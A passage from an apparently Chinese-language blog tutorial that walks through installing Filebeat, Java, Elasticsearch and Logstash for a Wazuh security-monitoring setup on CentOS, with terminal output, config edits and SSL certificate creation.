class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">已加载插件：fastestmirror</span><br><span class="line">设置安装进程</span><br><span class="line">Loading mirror speeds from cached hostfile</span><br><span class="line"> * base: mirrors.aliyun.com</span><br><span class="line"> * extras: mirrors.aliyun.com</span><br><span class="line"> * updates: mirrors.aliyun.com</span><br><span class="line">elastic-5.x                                                                                                                        | 1.3 kB     00:00     </span><br><span class="line">elastic-5.x/primary                                                                                                                |  81 kB     00:00     </span><br><span class="line">elastic-5.x                                                                                                                                       206/206</span><br><span class="line">解决依赖关系</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package filebeat.x86_64 0:5.5.1-1 will be 安装</span><br><span class="line">--&gt; 完成依赖关系计算</span><br><span class="line"></span><br><span class="line">依赖关系解决</span><br><span class="line"></span><br><span class="line">==========================================================================================================================================================</span><br><span class="line"> 软件包                              架构                              版本                                  仓库                                    大小</span><br><span class="line">==========================================================================================================================================================</span><br><span class="line">正在安装:</span><br><span class="line"> filebeat                            x86_64                            5.5.1-1                               elastic-5.x                            8.7 M</span><br><span class="line"></span><br><span class="line">事务概要</span><br><span class="line">==========================================================================================================================================================</span><br><span class="line">Install       1 Package(s)</span><br><span class="line"></span><br><span class="line">总下载量：8.7 M</span><br><span class="line">Installed size: 29 M</span><br><span class="line">确定吗？[y/N]：y</span><br><span class="line">下载软件包：</span><br><span class="line">filebeat-5.5.1-x86_64.rpm                                                                                                          | 8.7 MB     06:35     </span><br><span class="line">运行 rpm_check_debug </span><br><span class="line">执行事务测试</span><br><span class="line">事务测试成功</span><br><span class="line">执行事务</span><br><span class="line">  正在安装   : filebeat-5.5.1-1.x86_64                                                                                                                1/1 </span><br><span class="line">  Verifying  : filebeat-5.5.1-1.x86_64                                                                                                                1/1 </span><br><span class="line"></span><br><span class="line">已安装:</span><br><span class="line">  filebeat.x86_64 0:5.5.1-1                                                                                                                               </span><br><span class="line"></span><br><span class="line">完毕！</span><br></pre></td></tr></table></figure><ul><li>下载Filebeat配置文件</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# curl -so /etc/filebeat/filebeat.yml https://raw.githubusercontent.com/wazuh/wazuh/2.0/extensions/filebeat/filebeat.yml</span><br><span class="line">[root@localhost opt]# ls /etc/file</span><br><span class="line">filebeat/    filesystems  </span><br><span class="line">[root@localhost opt]# ls /etc/filebeat/filebeat.</span><br><span class="line">filebeat.full.yml            filebeat.template-es2x.json  filebeat.template-es6x.json  filebeat.template.json       filebeat.yml</span><br><span class="line">[root@localhost opt]# ls /etc/filebeat/filebeat.</span><br><span class="line">filebeat.full.yml            filebeat.template-es2x.json  filebeat.template-es6x.json  filebeat.template.json       filebeat.yml</span><br><span class="line">[root@localhost opt]# ls /etc/filebeat/filebeat.yml </span><br><span class="line">/etc/filebeat/filebeat.yml</span><br><span class="line">[root@localhost opt]# cat /etc/filebeat/filebeat.yml </span><br><span class="line">filebeat:</span><br><span class="line"> prospectors:</span><br><span class="line">  - input_type: log</span><br><span class="line">    paths:</span><br><span class="line">     - &quot;/var/ossec/logs/alerts/alerts.json&quot;</span><br><span class="line">    document_type: json</span><br><span class="line">    json.message_key: log</span><br><span class="line">    json.keys_under_root: true</span><br><span class="line">    json.overwrite_keys: true</span><br><span class="line"></span><br><span class="line">output:</span><br><span class="line"> logstash:</span><br><span class="line">   # The Logstash hosts</span><br><span class="line">   hosts: [&quot;YOUR_ELASTIC_SERVER_IP:5000&quot;]</span><br><span class="line">#   ssl:</span><br><span class="line">#     certificate_authorities: [&quot;/etc/filebeat/logstash.crt&quot;]</span><br></pre></td></tr></table></figure><ul><li>修改elastic_server_ip</li></ul><blockquote><p>[root@localhost opt]# vi /etc/filebeat/filebeat.yml</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">filebeat:</span><br><span class="line"> prospectors:</span><br><span class="line">  - input_type: log</span><br><span class="line">    paths:</span><br><span class="line">     - &quot;/var/ossec/logs/alerts/alerts.json&quot;</span><br><span class="line">    document_type: json</span><br><span class="line">    json.message_key: log</span><br><span class="line">    json.keys_under_root: true</span><br><span class="line">    json.overwrite_keys: true</span><br><span class="line"></span><br><span class="line">output:</span><br><span class="line"> logstash:</span><br><span class="line">   # The Logstash hosts</span><br><span class="line">   hosts: [&quot;192.168.1.43:5000&quot;]</span><br><span class="line">#   ssl:</span><br><span class="line">#     certificate_authorities: [&quot;/etc/filebeat/logstash.crt&quot;]</span><br></pre></td></tr></table></figure><ul><li>添加Filebeat服务并启动</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# chkconfig --add filebeat</span><br><span class="line">[root@localhost opt]# service filebeat start</span><br><span class="line">Starting filebeat: 2017/08/01 10:06:00.996092 beat.go:285: INFO Home path: [/usr/share/filebeat] Config path: [/etc/filebeat] Data path: [/var/lib/filebeat] Logs path: [/var/log/filebeat]</span><br><span class="line">2017/08/01 10:06:00.996210 beat.go:186: INFO Setup Beat: filebeat; Version: 5.5.1</span><br><span class="line">2017/08/01 10:06:00.996254 metrics.go:23: INFO Metrics logging every 30s</span><br><span class="line">2017/08/01 10:06:00.996500 logstash.go:90: INFO Max Retries set to: 3</span><br><span class="line">2017/08/01 10:06:00.996763 outputs.go:108: INFO Activated logstash as output plugin.</span><br><span class="line">2017/08/01 10:06:00.997506 publish.go:295: INFO Publisher name: localhost.localdomain</span><br><span class="line">2017/08/01 10:06:01.008432 async.go:63: INFO Flush Interval set to: 1s</span><br><span class="line">2017/08/01 10:06:01.008471 async.go:64: INFO Max Bulk Size set to: 2048</span><br><span class="line">Config OK</span><br><span class="line">                                                           [确定]</span><br></pre></td></tr></table></figure><h2 id="Install-Elastic-Stack"><a href="#Install-Elastic-Stack" class="headerlink" title="Install Elastic Stack"></a>Install Elastic Stack</h2><h3 id="安装-Java-JRE-Logstash和Elasticsearch必要的依赖"><a href="#安装-Java-JRE-Logstash和Elasticsearch必要的依赖" class="headerlink" title="安装 Java JRE (Logstash和Elasticsearch必要的依赖)"></a>安装 Java JRE (Logstash和Elasticsearch必要的依赖)</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cd /opt/</span><br><span class="line">[root@localhost opt]# ls</span><br><span class="line">[root@localhost opt]# curl -Lo jre-8-linux-x64.rpm --header &quot;Cookie: oraclelicense=accept-securebackup-cookie&quot; &quot;http://download.oracle.com/otn-pub/java/jdk/8u144-b01/090f390dda5b47b9b721c7dfaa008135/jre-8u144-linux-x64.rpm&quot;</span><br><span class="line">  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</span><br><span class="line">                                 Dload  Upload   Total   Spent    Left  Speed</span><br><span class="line">100 56.4M  100 56.4M    0     0  20.1M      0  0:00:02  0:00:02 --:--:-- 23.3M</span><br><span class="line">[root@localhost opt]# ll</span><br><span class="line">总用量 57832</span><br><span class="line">-rw-r--r--. 1 root root 59219102 8月  22 14:45 jre-8-linux-x64.rpm</span><br><span class="line">[root@localhost opt]# rpm -qlp jre-8-linux-x64.rpm &gt; /dev/null 2&gt;&amp;1 &amp;&amp; echo &quot;Java package downloaded successfully&quot; || echo &quot;Java package did not download successfully&quot;</span><br><span class="line">Java package downloaded successfully</span><br><span class="line">[root@localhost opt]# yum install jre-8-linux-x64.rpm</span><br><span class="line">已加载插件：fastestmirror</span><br><span class="line">设置安装进程</span><br><span class="line">诊断 jre-8-linux-x64.rpm: jre1.8.0_144-1.8.0_144-fcs.x86_64</span><br><span class="line">jre-8-linux-x64.rpm 将被安装</span><br><span class="line">base                                                                                                                     | 3.7 kB     00:00     </span><br><span class="line">base/primary_db                                                                                                          | 4.7 MB     00:00     </span><br><span class="line">extras                                                                                                                   | 3.4 kB     00:00     </span><br><span class="line">extras/primary_db                                                                                                        |  29 kB     00:01     </span><br><span class="line">updates                                                                                                                  | 3.4 kB     00:00     </span><br><span class="line">updates/primary_db                                                                                                       | 2.5 MB     00:05     </span><br><span class="line">解决依赖关系</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package jre1.8.0_144.x86_64 0:1.8.0_144-fcs will be 安装</span><br><span class="line">--&gt; 完成依赖关系计算</span><br><span class="line"></span><br><span class="line">依赖关系解决</span><br><span class="line"></span><br><span class="line">================================================================================================================================================</span><br><span class="line"> 软件包                            架构                        版本                                 仓库                                   大小</span><br><span class="line">================================================================================================================================================</span><br><span class="line">正在安装:</span><br><span class="line"> jre1.8.0_144                      x86_64                      1.8.0_144-fcs                        /jre-8-linux-x64                      133 M</span><br><span class="line"></span><br><span class="line">事务概要</span><br><span class="line">================================================================================================================================================</span><br><span class="line">Install       1 Package(s)</span><br><span class="line"></span><br><span class="line">总文件大小：133 M</span><br><span class="line">Installed size: 133 M</span><br><span class="line">确定吗？[y/N]：y</span><br><span class="line">下载软件包：</span><br><span class="line">运行 rpm_check_debug </span><br><span class="line">执行事务测试</span><br><span class="line">事务测试成功</span><br><span class="line">执行事务</span><br><span class="line">  正在安装   : jre1.8.0_144-1.8.0_144-fcs.x86_64                                                                                            1/1 </span><br><span class="line">Unpacking JAR files...</span><br><span class="line">  plugin.jar...</span><br><span class="line">  javaws.jar...</span><br><span class="line">  deploy.jar...</span><br><span class="line">  rt.jar...</span><br><span class="line">  jsse.jar...</span><br><span class="line">  charsets.jar...</span><br><span class="line">  localedata.jar...</span><br><span class="line">  Verifying  : jre1.8.0_144-1.8.0_144-fcs.x86_64                                                                                            1/1 </span><br><span class="line"></span><br><span class="line">已安装:</span><br><span class="line">  jre1.8.0_144.x86_64 0:1.8.0_144-fcs                                                                                                           </span><br><span class="line"></span><br><span class="line">完毕！</span><br><span class="line">[root@localhost opt]# rm jre-8-linux-x64.rpm</span><br><span class="line">rm：是否删除普通文件 &quot;jre-8-linux-x64.rpm&quot;？y</span><br><span class="line">[root@localhost opt]# ls</span><br><span class="line">[root@localhost opt]# rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch</span><br><span class="line">[root@localhost opt]# ls</span><br><span class="line">[root@localhost opt]# cat &gt; /etc/yum.repos.d/elastic.repo &lt;&lt; EOF</span><br><span class="line">&gt; [elastic-5.x]</span><br><span class="line">&gt; name=Elastic repository for 5.x packages</span><br><span class="line">&gt; baseurl=https://artifacts.elastic.co/packages/5.x/yum</span><br><span class="line">&gt; gpgcheck=1</span><br><span class="line">&gt; gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch</span><br><span class="line">&gt; enabled=1</span><br><span class="line">&gt; autorefresh=1</span><br><span class="line">&gt; type=rpm-md</span><br><span class="line">&gt; EOF</span><br></pre></td></tr></table></figure><h3 id="安装elasticsearch"><a href="#安装elasticsearch" class="headerlink" title="安装elasticsearch"></a>安装elasticsearch</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# yum install elasticsearch</span><br><span class="line">已加载插件：fastestmirror</span><br><span class="line">设置安装进程</span><br><span class="line">Determining fastest mirrors</span><br><span class="line"> * base: mirrors.btte.net</span><br><span class="line"> * extras: mirrors.tuna.tsinghua.edu.cn</span><br><span class="line"> * updates: mirror.bit.edu.cn</span><br><span class="line">elastic-5.x                                                                                                              | 1.3 kB     00:00     </span><br><span class="line">elastic-5.x/primary                                                                                                      |  86 kB     00:00     </span><br><span class="line">elastic-5.x                                                                                                                             218/218</span><br><span class="line">解决依赖关系</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package elasticsearch.noarch 0:5.5.2-1 will be 安装</span><br><span class="line">--&gt; 完成依赖关系计算</span><br><span class="line"></span><br><span class="line">依赖关系解决</span><br><span class="line"></span><br><span class="line">================================================================================================================================================</span><br><span class="line"> 软件包                                架构                           版本                            仓库                                 大小</span><br><span class="line">================================================================================================================================================</span><br><span class="line">正在安装:</span><br><span class="line"> elasticsearch                         noarch                         5.5.2-1                         elastic-5.x                          32 M</span><br><span class="line"></span><br><span class="line">事务概要</span><br><span class="line">================================================================================================================================================</span><br><span class="line">Install       1 Package(s)</span><br><span class="line"></span><br><span class="line">总下载量：32 M</span><br><span class="line">Installed size: 36 M</span><br><span class="line">确定吗？[y/N]：y</span><br><span class="line">下载软件包：</span><br><span class="line">elasticsearch-5.5.2.rpm                                                                                                  |  32 MB     09:03     </span><br><span class="line">运行 rpm_check_debug </span><br><span class="line">执行事务测试</span><br><span class="line">事务测试成功</span><br><span class="line">执行事务</span><br><span class="line">Creating elasticsearch group... OK</span><br><span class="line">Creating elasticsearch user... OK</span><br><span class="line">  正在安装   : elasticsearch-5.5.2-1.noarch                                                                                                 1/1 </span><br><span class="line">### NOT starting on installation, please execute the following statements to configure elasticsearch service to start automatically using chkconfig</span><br><span class="line"> sudo chkconfig --add elasticsearch</span><br><span class="line">### You can start elasticsearch service by executing</span><br><span class="line"> sudo service elasticsearch start</span><br><span class="line">  Verifying  : elasticsearch-5.5.2-1.noarch                                                                                                 1/1 </span><br><span class="line"></span><br><span class="line">已安装:</span><br><span class="line">  elasticsearch.noarch 0:5.5.2-1                                                                                                                </span><br><span class="line"></span><br><span class="line">完毕！</span><br><span class="line">[root@localhost opt]# chkconfig --add elasticsearch</span><br><span class="line">[root@localhost opt]# service elasticsearch start</span><br><span class="line">正在启动 elasticsearch：                                   [确定]</span><br><span class="line">[root@localhost opt]# curl https://raw.githubusercontent.com/wazuh/wazuh-kibana-app/master/server/startup/integration_files/template_file.json | curl -XPUT &apos;http://localhost:9200/_template/wazuh&apos; -H &apos;Content-Type: application/json&apos; -d @-</span><br><span class="line">  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</span><br><span class="line">                                 Dload  Upload   Total   Spent    Left  Speed</span><br><span class="line">100 15547  100 15547    0     0  16125      0 --:--:-- --:--:-- --:--:-- 40592</span><br><span class="line">&#123;&quot;acknowledged&quot;:true&#125;[root@localhost opt]# ls</span><br><span class="line">[root@localhost opt]# ls</span><br><span class="line">[root@localhost opt]# curl https://raw.githubusercontent.com/wazuh/wazuh-kibana-app/master/server/startup/integration_files/alert_sample.json | curl -XPUT &quot;http://localhost:9200/wazuh-alerts-&quot;`date +%Y.%m.%d`&quot;/wazuh/sample&quot; -H &apos;Content-Type: application/json&apos; -d @-</span><br><span class="line">  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current</span><br><span class="line">                                 Dload  Upload   Total   Spent    Left  Speed</span><br><span class="line">102  1432  102  1432    0     0   1567      0 --:--:-- --:--:-- --:--:--  4937</span><br><span class="line">&#123;&quot;_index&quot;:&quot;wazuh-alerts-2017.08.22&quot;,&quot;_type&quot;:&quot;wazuh&quot;,&quot;_id&quot;:&quot;sample&quot;,&quot;_version&quot;:1,&quot;result&quot;:&quot;created&quot;,&quot;_shards&quot;:&#123;&quot;total&quot;:2,&quot;successful&quot;:1,&quot;failed&quot;:0&#125;,&quot;created&quot;:true&#125;[root@localhost opt]# </span><br><span class="line">[root@localhost opt]#</span><br></pre></td></tr></table></figure><blockquote><p>It is recommended to edit the default configuration to improve the Elasticsearch performance. To do so, please see Elasticsearch tuning.<a href="https://documentation.wazuh.com/current/installation-guide/optional-configurations/elastic-tuning.html#elastic-tuning" target="_blank" rel="noopener">https://documentation.wazuh.com/current/installation-guide/optional-configurations/elastic-tuning.html#elastic-tuning</a></p></blockquote><h3 id="安装Logstash"><a href="#安装Logstash" class="headerlink" title="安装Logstash"></a>安装Logstash</h3><blockquote><p>Logstash is the tool that will collect, parse, and forward to Elasticsearch for indexing and storage all logs generated by Wazuh server. For more info please see Logstash.<a href="https://www.elastic.co/products/logstash" target="_blank" rel="noopener">https://www.elastic.co/products/logstash</a></p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# yum install logstash</span><br><span class="line">已加载插件：fastestmirror</span><br><span class="line">设置安装进程</span><br><span class="line">Loading mirror speeds from cached hostfile</span><br><span class="line"> * base: mirrors.btte.net</span><br><span class="line"> * extras: mirrors.tuna.tsinghua.edu.cn</span><br><span class="line"> * updates: mirror.bit.edu.cn</span><br><span class="line">解决依赖关系</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package logstash.noarch 1:5.5.2-1 will be 安装</span><br><span class="line">--&gt; 完成依赖关系计算</span><br><span class="line"></span><br><span class="line">依赖关系解决</span><br><span class="line"></span><br><span class="line">================================================================================================================================================</span><br><span class="line"> 软件包                           架构                           版本                                 仓库                                 大小</span><br><span class="line">================================================================================================================================================</span><br><span class="line">正在安装:</span><br><span class="line"> logstash                         noarch                         1:5.5.2-1                            elastic-5.x                          90 M</span><br><span class="line"></span><br><span class="line">事务概要</span><br><span class="line">================================================================================================================================================</span><br><span class="line">Install       1 Package(s)</span><br><span class="line"></span><br><span class="line">总下载量：90 M</span><br><span class="line">Installed size: 169 M</span><br><span class="line">确定吗？[y/N]：y</span><br><span class="line">下载软件包：</span><br><span class="line">logstash-5.5.2.rpm                                                                                                       |  90 MB     33:26     </span><br><span class="line">运行 rpm_check_debug </span><br><span class="line">执行事务测试</span><br><span class="line">事务测试成功</span><br><span class="line">执行事务</span><br><span class="line">  正在安装   : 1:logstash-5.5.2-1.noarch                                                                                                    1/1 </span><br><span class="line">Using provided startup.options file: /etc/logstash/startup.options</span><br><span class="line">Successfully created system startup script for Logstash</span><br><span class="line">  Verifying  : 1:logstash-5.5.2-1.noarch                                                                                                    1/1 </span><br><span class="line"></span><br><span class="line">已安装:</span><br><span class="line">  logstash.noarch 1:5.5.2-1                                                                                                                     </span><br><span class="line"></span><br><span class="line">完毕！</span><br><span class="line">[root@localhost opt]# curl -so /etc/logstash/conf.d/01-wazuh.conf https://raw.githubusercontent.com/wazuh/wazuh/2.0/extensions/logstash/01-wazuh.conf</span><br><span class="line">[root@localhost opt]# curl -so /etc/logstash/wazuh-elastic5-template.json https://raw.githubusercontent.com/wazuh/wazuh/2.0/extensions/elasticsearch/wazuh-elastic5-template.json</span><br><span class="line">[root@localhost opt]# /usr/share/logstash/bin/system-install </span><br><span class="line">Successfully created system startup script for Logstash</span><br><span class="line">[root@localhost opt]# chkconfig --add logstash</span><br><span class="line">在 logstash 服务中读取信息时出错：没有那个文件或目录</span><br><span class="line">[root@localhost opt]# ls /etc/init.d/</span><br><span class="line">auditd         functions      iptables       killall        netconsole     postfix        rsyslog        single         </span><br><span class="line">crond          halt           jexec          mdmonitor      netfs          rdisc          sandbox        sshd           </span><br><span class="line">elasticsearch  ip6tables      kdump          messagebus     network        restorecond    saslauthd      udev-post      </span><br><span class="line">[root@localhost opt]# /usr/share/logstash/bin/system-install /etc/logstash/startup.options sysv</span><br><span class="line">Using provided startup.options file: /etc/logstash/startup.options</span><br><span class="line">Manually creating startup for specified platform: sysv</span><br><span class="line">Successfully created system startup script for Logstash</span><br><span class="line">[root@localhost opt]# chkconfig --add logstash</span><br><span class="line">[root@localhost opt]# service logstash start</span><br><span class="line">logstash started</span><br></pre></td></tr></table></figure><h3 id="Setting-up-SSL-for-Filebeat-and-Logstash"><a href="#Setting-up-SSL-for-Filebeat-and-Logstash" class="headerlink" title="Setting up SSL for Filebeat and Logstash"></a>Setting up SSL for Filebeat and Logstash</h3><blockquote><p>因为Wazuh server和Elastic Stack server是分布式架构，要配置在Filebeat和Logstash之间配SSL加密。</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# cp /etc/pki/tls/openssl.cnf custom_openssl.cnf</span><br></pre></td></tr></table></figure><p>vi custom_openssl.cnf<br>找到[ v3_ca ]字段，然后在它下面添加一行elastic server的ip地址：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[ v3_ca ]</span><br><span class="line">subjectAltName = IP: 192.168.106.43</span><br></pre></td></tr></table></figure></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# openssl req -x509 -batch -nodes -days 3650 -newkey rsa:2048 -keyout /etc/logstash/logstash.key -out /etc/logstash/logstash.crt -config custom_openssl.cnf</span><br><span class="line">Generating a 2048 bit RSA private key</span><br><span class="line">.................+++</span><br><span class="line">.....+++</span><br><span class="line">writing new private key to &apos;/etc/logstash/logstash.key&apos;</span><br><span class="line">-----</span><br><span class="line">[root@localhost opt]# rm custom_openssl.cnf </span><br><span class="line">rm：是否删除普通文件 &quot;custom_openssl.cnf&quot;？y</span><br></pre></td></tr></table></figure><p>配置Logstash server，这时在服务器中应该有了/etc/logstash/logstash.crt 证书和 /etc/logstash/logstash.key秘钥。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/logstash/conf.d/01-wazuh.conf</span><br><span class="line">把</span><br><span class="line">input &#123;</span><br><span class="line">    beats &#123;</span><br><span class="line">        port =&gt; 5000</span><br><span class="line">        codec =&gt; &quot;json_lines&quot;</span><br><span class="line">#        ssl =&gt; true</span><br><span class="line">#        ssl_certificate =&gt; &quot;/etc/logstash/logstash.crt&quot;</span><br><span class="line">#        ssl_key =&gt; &quot;/etc/logstash/logstash.key&quot;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">改成</span><br><span class="line">input &#123;</span><br><span class="line">    beats &#123;</span><br><span class="line">        port =&gt; 5000</span><br><span class="line">        codec =&gt; &quot;json_lines&quot;</span><br><span class="line">        ssl =&gt; true</span><br><span class="line">        ssl_certificate =&gt; &quot;/etc/logstash/logstash.crt&quot;</span><br><span class="line">        ssl_key =&gt; &quot;/etc/logstash/logstash.key&quot;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">重启logstash</span><br><span class="line">[root@localhost opt]# service logstash restart</span><br><span class="line">logstash started</span><br></pre></td></tr></table></figure><p>配置Filebeat</p><p>现在我们配置filebeat认证logstash服务器认证。<br>使用scp命令必须两台服务器都安装openssh-clients，yum -y install openssh-clients要在两台服务器上分别执行。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span 